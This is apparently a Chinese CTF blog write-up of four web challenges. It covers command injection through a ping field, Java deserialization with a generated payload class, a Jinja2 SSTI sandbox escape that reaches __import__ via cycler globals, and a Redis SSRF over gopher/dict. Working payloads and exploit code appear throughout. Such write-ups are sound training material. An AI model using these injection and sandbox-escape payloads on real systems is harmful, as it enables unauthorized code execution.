本文最后更新于 2026年6月12日 下午
前言
web题太少了,遇到神人评委,别的队伍py搞得飞起不ban,我老老实实做题就因为我wp没写清楚给我ban了,真的难绷
签到
这题考的是ping接口执行rce(很经典的一道题),首先进去后是一个登录框,先扫目录,发现有泄露backup备份目录

点进去看到有www.zip备份文件,下载下来,在config.php里面找到账号密码登录:admin/Xt@2026#Web1!ops

然后看到ping接口,直接127.0.0.1;cat /flag.txt拿到flag

web2
这题考的是基础java反序列化(用不着ysoserial的那种)
首先看到首页,依旧先扫目录,发现有backup泄露的两个java文件

点开后依次分析以下内容
Order.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.ctf.entity;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class Order implements Serializable {
private static final long serialVersionUID = 1L;
private Integer id; private String userId; private String content; private String secret;
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); String[] cmd = {"/bin/sh", "-c", "cat /flag* 2>&1"}; Runtime.getRuntime().exec(cmd); }
public Integer getId() { return id; }
public void setId(Integer id) { this.id = id; }
public String getUserId() { return userId; }
public void setUserId(String userId) { this.userId = userId; }
public String getContent() { return content; }
public void setContent(String content) { this.content = content; }
public String getSecret() { return secret; }
public void setSecret(String secret) { this.secret = secret; } }
|
ApiController.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package com.ctf.controller;
import com.ctf.entity.Order; import org.springframework.web.bind.annotation.*; import java.io.*; import java.util.*;
@RestController @RequestMapping("/api") public class ApiController {
private static final String ADMIN_SECRET = "CTF{ORDER_SECRET_2025_ADMIN_KEY}";
@PostMapping("/deserialize") public Map<String, Object> process(@RequestBody Map<String, String> params) { Map<String, Object> result = new HashMap<>();
String secret = params.get("secret"); String data = params.get("data");
if (secret == null || !ADMIN_SECRET.equals(secret)) { result.put("code", 403); result.put("msg", "密钥错误"); return result; }
try { byte[] bytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream ois = new ObjectInputStream(bais); Order order = (Order) ois.readObject(); ois.close();
result.put("code", 200); result.put("msg", "success"); return result;
} catch (Exception e) { result.put("code", 500); result.put("msg", "error"); return result; } } }
|
其实还有个git泄露的,但是看不出来有啥用就没端上来(
回到ApiController.java,我们可以看到直接泄露执行密钥了(这个是要在传参的时候用到的)
然后再看到反序列化执行端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| try { byte[] bytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream ois = new ObjectInputStream(bais); Order order = (Order) ois.readObject(); ois.close();
result.put("code", 200); result.put("msg", "success"); return result; }catch (Exception e) { result.put("code", 500); result.put("msg", "error"); return result; } }
|
可以看到创建了两个新对象,然后会反序列化Order,并调用readObject()类
然后看到下面这里出题人给咱放了一点小水
1 2 3 4 5
| private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); String[] cmd = {"/bin/sh", "-c", "cat /flag* 2>&1"}; Runtime.getRuntime().exec(cmd); }
|
这里显示是只要反序列化通过就直接回显flag,随后就是一些传参的方法
剩下一点小坑只要注意一下我们写的Order.java里面含有package com.ctf.entity就可以了
因为比赛只准用豆包,这里就先自己写一个Order.java,然后再丢给ai让他帮我生成pay.java吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package com.ctf.entity;
import java.io.Serializable; public class Order implements Serializable{ private static final long serialVersionUID=1L; private Integer id; private String userId; private String content; private String secret;
public Order() {} public Order(Integer id,String userId,String content,String secret){ this.id=id; this.userId=userId; this.content=content; this.secret=secret; } }
|
ai生成pay.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.ctf.entity;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.Base64;
public class pay { public static void main(String[] args) { try { Order order = Order.class.getDeclaredConstructor().newInstance();
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(order); oos.close();
String payload = Base64.getEncoder().encodeToString(baos.toByteArray()); System.out.println(payload);
} catch (Exception e) { e.printStackTrace(); } } }
|
另外这里还有一个细节,就是要构造好与package相同结构的文件夹

运行拿到base64后传参,拿到flag

flag{fbf48355-256e-447d-a2a4-39d24d60ff0f}
S5T1
这道题考ssti的jinjia2模板注入
首先先拿常规payload fuzz一波,发现他的回显始终是{“status”:”OK”},说明这是一个假200题,专门用来防焚靖的
然后再看到附件,发现他所支持的模块有
1 2 3 4 5 6 7 8 9 10 11 12 13
| func_List = [ "get_close_matches", "dedent", "fmean", "listdir", "search", "randint", "load", "sum", "findall", "mean", "choice", ]
|
然后看到关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| @app.route("/", methods=["GET", "POST"]) def index(): submit = request.form.get("submit") if submit: try: sys.settrace(trace_calls) sys.setprofile(trace_calls) rendered = render_template_string(submit) finally: sys.settrace(None) sys.setprofile(None)
print(rendered) if BoleanFlag: return jsonify({"flag": RealFlag}) return jsonify({"status": "OK"})
|
所以后面就只能用这些模块(因为试过了,os啥的模块都删掉或者禁掉了)
看到图二,分析一下危险函数
1
| call:普通python函数调用,取函数名;c_call:C扩展模块函数调用(os/re/random等)
|
由此可得:
Jinja内置全局对象cycler,通过cycler.init.globals可以拿到对应模块全局命名空间,进而获取未被沙箱过滤的builtins与原生import,实现无过滤导入任意模块
通过上下拼接的方法实现沙箱逃逸,通过 Jinja2 内置上下文对象cycler绕过沙箱限制,这边一次性调用全部 11 个候选函数,无论本轮随机选中哪 5 个目标,都能全部触发
总之这次的逃逸核心就是:间接获取 globals → 拿到原生 import
整理一下链子:cycler.init.globals.builtins.import
随后我们先构造一个框架,然后再让ai去填补完善
1 2
| {% set b=cycler.__init__.__globals__.__builtins__ %} {% set imp=b.__import__ %}
|
ai:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| {% set b=cycler.__init__.__globals__.__builtins__ %} {% set imp=b.__import__ %} {{ imp("difflib").get_close_matches('a',['a']), imp("textwrap").dedent(' test'), imp("statistics").fmean([1,2]), imp("os").listdir('.'), imp("re").search('a','a'), imp("random").randint(1,2), imp("json").load(imp("io").StringIO('{}')), b.sum([1,2]), imp("re").findall('a','aaa'), imp("statistics").mean([1,2]), imp("random").choice([1,2]) }}
|
拿到flag:

1
| {"flag":"flag{0c672a5e-34b9-466d-8edc-baebc4e34a8b}"}
|
easyssrf
这道题很牛逼
先讲一下我的思路(虽说没成)
看一下systeminfo,是redis服务
首先fuzz出来就是除gopher和dict协议以外所有的协议都被过滤了,并且很死
然后我就想着打gopher测通道,在本地写一个shell,然后直接rce的,但是config文件没权限改,然后set加get的方式不会被执行
所以就只能用dict读公网服务器里的flag(其实是后面吃饭的时候没事乱写payload试出来的)
所以最后poc:

后记
后面的话就没啥了,只是有点气人也有点想不明白,为啥会有人拿着py后的高分还能那么理所应当的在别人面前趾高气扬,为啥就不能稍微内敛低调一点吗,我真的很想不通,也很讨厌这类人。所以吧,虽说这么讲我自己也些不足,只是在现在这种环境下可能此类情况也层出不穷,我也应该早点习惯好
那就这样吧,愿以后遇到更好的人,珍惜眼下的一切,尽管我也缺点百出,惹下过很多麻烦,惹毛过不少好人,但我会改变的,嗯,总有一天